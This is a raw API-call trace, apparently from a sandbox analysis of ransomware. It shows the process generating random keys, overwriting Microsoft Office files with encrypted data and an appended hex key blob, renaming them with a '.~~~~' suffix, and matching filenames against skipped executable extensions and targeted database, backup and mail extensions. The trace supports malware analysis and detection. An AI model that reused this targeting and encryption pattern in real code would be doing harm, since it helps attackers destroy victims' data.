	[0136.835] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394f48) returned 1
	[0136.900] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0136.900] CryptReleaseContext (hProv=0x394f48, dwFlags=0x0) returned 1
	[0136.900] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0136.900] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0136.900] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0136.901] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25689065199) returned 1
	[0136.901] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbb0b8370, dwHighDateTime=0x1d60e1e)) 
	[0136.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0136.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0136.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0136.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4cf0
	[0136.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.901] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4cf0 | out: hHeap=0x300000) returned 1
	[0136.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.901] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce4d0
	[0136.901] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fca98
	[0136.901] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce4d0 | out: hHeap=0x300000) returned 1
	[0136.901] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0136.902] GetLastError () returned 0x0
	[0136.902] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0136.902] GetLastError () returned 0x0
	[0136.904] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffffd70, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.904] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x290, lpOverlapped=0x0) returned 1
	[0136.904] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0136.904] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.904] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.904] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.904] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.904] CloseHandle (hObject=0x114) returned 1
	[0136.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce4d0
	[0136.905] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc.~~~~")) returned 1
	[0136.907] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce4d0 | out: hHeap=0x300000) returned 1
	[0136.907] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0136.907] GetLastError () returned 0x0
	[0136.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".scr") returned 0x0
	[0136.908] lstrlenW (lpString=".cmd") returned 4
	[0136.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".cmd") returned 0x0
	[0136.908] lstrlenW (lpString=".dll") returned 4
	[0136.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".dll") returned 0x0
	[0136.908] lstrlenW (lpString=".bat") returned 4
	[0136.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".bat") returned 0x0
	[0136.908] lstrlenW (lpString=".cpl") returned 4
	[0136.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".cpl") returned 0x0
	[0136.908] lstrlenW (lpString=".sys") returned 4
	[0136.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".sys") returned 0x0
	[0136.908] lstrlenW (lpString=".msc") returned 4
	[0136.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".msc") returned 0x0
	[0136.908] lstrlenW (lpString=".com") returned 4
	[0136.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".com") returned 0x0
	[0136.908] lstrlenW (lpString=".lnk") returned 4
	[0136.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".lnk") returned 0x0
	[0136.908] lstrlenW (lpString=".msp") returned 4
	[0136.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".msp") returned 0x0
	[0136.908] lstrlenW (lpString=".pif") returned 4
	[0136.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".pif") returned 0x0
	[0136.908] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0136.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0136.910] lstrlenW (lpString=".sqb") returned 4
	[0136.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".sqb") returned 0x0
	[0136.910] lstrlenW (lpString=".ost") returned 4
	[0136.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".ost") returned 0x0
	[0136.911] lstrlenW (lpString=".txt") returned 4
	[0136.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".txt") returned 0x0
	[0136.911] lstrlenW (lpString=".mdt") returned 4
	[0136.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".mdt") returned 0x0
	[0136.911] lstrlenW (lpString=".BDB") returned 4
	[0136.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".BDB") returned 0x0
	[0136.911] lstrlenW (lpString=".eql") returned 4
	[0136.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".eql") returned 0x0
	[0136.911] lstrlenW (lpString=".DBF") returned 4
	[0136.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".DBF") returned 0x0
	[0136.911] lstrlenW (lpString=".EQL") returned 4
	[0136.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".EQL") returned 0x0
	[0136.911] lstrlenW (lpString=".FDB") returned 4
	[0136.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".FDB") returned 0x0
	[0136.911] lstrlenW (lpString=".EDB") returned 4
	[0136.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".EDB") returned 0x0
	[0136.911] lstrlenW (lpString=".DACPAC") returned 7
	[0136.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0136.911] lstrlenW (lpString=".VHD") returned 4
	[0136.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".VHD") returned 0x0
	[0136.911] lstrlenW (lpString=".DBV") returned 4
	[0136.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".DBV") returned 0x0
	[0136.911] lstrlenW (lpString=".dacpac") returned 7
	[0136.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0136.911] lstrlenW (lpString=".sdf") returned 4
	[0136.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".sdf") returned 0x0
	[0136.911] lstrlenW (lpString=".accdb") returned 6
	[0136.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".accdb") returned 0x0
	[0136.912] lstrlenW (lpString=".DBX") returned 4
	[0136.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".DBX") returned 0x0
	[0136.912] lstrlenW (lpString=".MDT") returned 4
	[0136.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".MDT") returned 0x0
	[0136.912] lstrlenW (lpString=".SQB") returned 4
	[0136.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".SQB") returned 0x0
	[0136.912] lstrlenW (lpString=".vhd") returned 4
	[0136.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".vhd") returned 0x0
	[0136.912] lstrlenW (lpString=".bac") returned 4
	[0136.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".bac") returned 0x0
	[0136.912] lstrlenW (lpString=".mdf") returned 4
	[0136.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".mdf") returned 0x0
	[0136.912] lstrlenW (lpString=".BAK") returned 4
	[0136.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".BAK") returned 0x0
	[0136.912] lstrlenW (lpString=".BAC") returned 4
	[0136.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".BAC") returned 0x0
	[0136.912] lstrlenW (lpString=".dbs") returned 4
	[0136.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".dbs") returned 0x0
	[0136.912] lstrlenW (lpString=".vhdx") returned 5
	[0136.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0136.912] lstrlenW (lpString=".NDF") returned 4
	[0136.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".NDF") returned 0x0
	[0136.912] lstrlenW (lpString=".dat") returned 4
	[0136.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".dat") returned 0x0
	[0136.912] lstrlenW (lpString=".DBS") returned 4
	[0136.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".DBS") returned 0x0
	[0136.912] lstrlenW (lpString=".CKP") returned 4
	[0136.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".CKP") returned 0x0
	[0136.913] lstrlenW (lpString=".edb") returned 4
	[0136.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".edb") returned 0x0
	[0136.913] lstrlenW (lpString=".PST") returned 4
	[0136.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".PST") returned 0x0
	[0136.913] lstrlenW (lpString=".dbf") returned 4
	[0136.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".dbf") returned 0x0
	[0136.913] lstrlenW (lpString=".SQL") returned 4
	[0136.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".SQL") returned 0x0
	[0136.913] lstrlenW (lpString=".pst") returned 4
	[0136.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".pst") returned 0x0
	[0136.913] lstrlenW (lpString=".dbv") returned 4
	[0136.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".dbv") returned 0x0
	[0136.913] lstrlenW (lpString=".SDF") returned 4
	[0136.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".SDF") returned 0x0
	[0136.913] lstrlenW (lpString=".dtxs") returned 5
	[0136.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0136.913] lstrlenW (lpString=".db3") returned 4
	[0136.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".db3") returned 0x0
	[0136.913] lstrlenW (lpString=".OST") returned 4
	[0136.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".OST") returned 0x0
	[0136.913] lstrlenW (lpString=".dbx") returned 4
	[0136.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".dbx") returned 0x0
	[0136.913] lstrlenW (lpString=".DB3") returned 4
	[0136.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".DB3") returned 0x0
	[0136.914] lstrlenW (lpString=".DAT") returned 4
	[0136.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".DAT") returned 0x0
	[0136.914] lstrlenW (lpString=".VHDX") returned 5
	[0136.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0136.914] lstrlenW (lpString=".ndf") returned 4
	[0136.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".ndf") returned 0x0
	[0136.914] lstrlenW (lpString=".DB") returned 3
	[0136.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".DB") returned 0x0
	[0136.914] lstrlenW (lpString=".sql") returned 4
	[0136.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".sql") returned 0x0
	[0136.914] lstrlenW (lpString=".MYD") returned 4
	[0136.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".MYD") returned 0x0
	[0136.914] lstrlenW (lpString=".DBT") returned 4
	[0136.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".DBT") returned 0x0
	[0136.914] lstrlenW (lpString=".ACCDB") returned 6
	[0136.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0136.914] lstrlenW (lpString=".fdb") returned 4
	[0136.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".fdb") returned 0x0
	[0136.915] lstrlenW (lpString=".bak") returned 4
	[0136.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".bak") returned 0x0
	[0136.915] lstrlenW (lpString=".myd") returned 4
	[0136.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".myd") returned 0x0
	[0136.915] lstrlenW (lpString=".DTXS") returned 5
	[0136.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0136.915] lstrlenW (lpString=".ckp") returned 4
	[0136.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".ckp") returned 0x0
	[0136.915] lstrlenW (lpString=".dbt") returned 4
	[0136.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".dbt") returned 0x0
	[0136.915] lstrlenW (lpString=".db") returned 3
	[0136.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".db") returned 0x0
	[0136.915] lstrlenW (lpString=".TXT") returned 4
	[0136.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".TXT") returned 0x0
	[0136.915] lstrlenW (lpString=".MDF") returned 4
	[0136.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".MDF") returned 0x0
	[0136.915] lstrlenW (lpString=".bdb") returned 4
	[0136.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".bdb") returned 0x0
	[0136.916] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0136.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0136.917] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394f48) returned 1
	[0136.918] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0136.918] CryptReleaseContext (hProv=0x394f48, dwFlags=0x0) returned 1
	[0136.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0136.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0136.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0136.919] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25690868030) returned 1
	[0136.919] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbb0de4d0, dwHighDateTime=0x1d60e1e)) 
	[0136.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0136.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0136.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0136.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4c48
	[0136.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4c48 | out: hHeap=0x300000) returned 1
	[0136.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce428
	[0136.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fca98
	[0136.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce428 | out: hHeap=0x300000) returned 1
	[0136.920] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0136.920] GetLastError () returned 0x0
	[0136.920] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0136.920] GetLastError () returned 0x0
	[0136.922] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.922] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0136.922] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0136.922] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.922] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.923] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.923] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.923] CloseHandle (hObject=0x114) returned 1
	[0136.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce428
